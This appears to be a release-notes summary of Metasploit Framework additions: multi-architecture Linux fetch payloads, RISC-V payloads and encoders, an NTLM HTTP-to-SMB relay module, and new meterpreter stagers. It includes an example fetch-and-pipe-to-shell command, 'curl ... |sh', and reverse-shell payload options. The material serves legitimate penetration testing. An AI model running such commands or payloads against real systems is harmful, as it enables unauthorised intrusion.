The Metasploit Framework has introduced a new Linux Fetch Multi payload family, designed to simplify exploitation by automatically identifying and delivering the correct architecture-specific payload to a target Linux host. This enhancement means that users no longer need to manually determine a target's architecture when selecting a payload, as a single payload and handler can now serve multiple targets with different architectures.
The Fetch Multi payloads operate by adding a query string to the request, allowing the handler to receive the target's architecture information. Consequently, only HTTP and HTTPS-based fetch payloads currently support this new functionality. An example provided demonstrates how a single command, `curl -s http://10.5.135.210:8080/x|sh`, can be executed on diverse targets (mipsel, mips64, and aarch64 hosts), with the handler automatically serving the appropriate ELF architecture payload for each.
The `cmd/linux/http/multi/meterpreter_reverse_tcp` payload module offers several configuration options, including `FETCH_COMMAND` (supporting CURL, FTP, GET, TFTP, TNFTP, WGET), `FETCH_DELETE` to attempt binary deletion after execution, and `FETCH_FILELESS` for running payloads without writing to disk on Linux versions 3.17 or newer. Other options include `FETCH_SRVHOST`, `FETCH_SRVPORT` (defaulting to 8080), `FETCH_URIPATH`, `LHOST`, and `LPORT` (defaulting to 4444). When using CURL, GET, or WGET, `FETCH_PIPE` can be set to true to pipe the binary payload and command directly to the shell.
In addition to the Fetch Multi payloads, the Metasploit Framework has expanded its support for the RiscV architecture. This includes staged and stageless shell payloads for both 32-bit and 64-bit RiscV systems, along with XOR encoders specifically for RiscV payloads.
Recent module additions to the framework include a Microsoft Windows HTTP to SMB Relay auxiliary module, developed by jheysel-r7. This module allows for relaying incoming NTLM HTTP authentication requests to multiple SMB servers to establish sessions. The Byte XORi Encoder, contributed by bcoles, adds four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
Further contributions from Brendan Watters, Spencer McIntyre, and bcoles include new Linux fetch multi payloads, a fetch server for FTP-based payloads, and a TFTP server. These additions introduce 421 new payloads across all Linux and Windows architectures, such as `cmd/linux/ftp/aarch64/chmod`, `cmd/linux/ftp/x86/meterpreter/reverse_tcp`, and `cmd/windows/ftp/aarch64/meterpreter_reverse_http`.
Finally, new stagers and shell command stages have been added for RISC-V 64-bit and 32-bit little-endian Linux targets. These include `reverse_tcp` and `bind_tcp` stagers for various protocols like FTP, HTTP, HTTPS, and TFTP, expanding the framework's capabilities for exploiting RiscV-based systems.
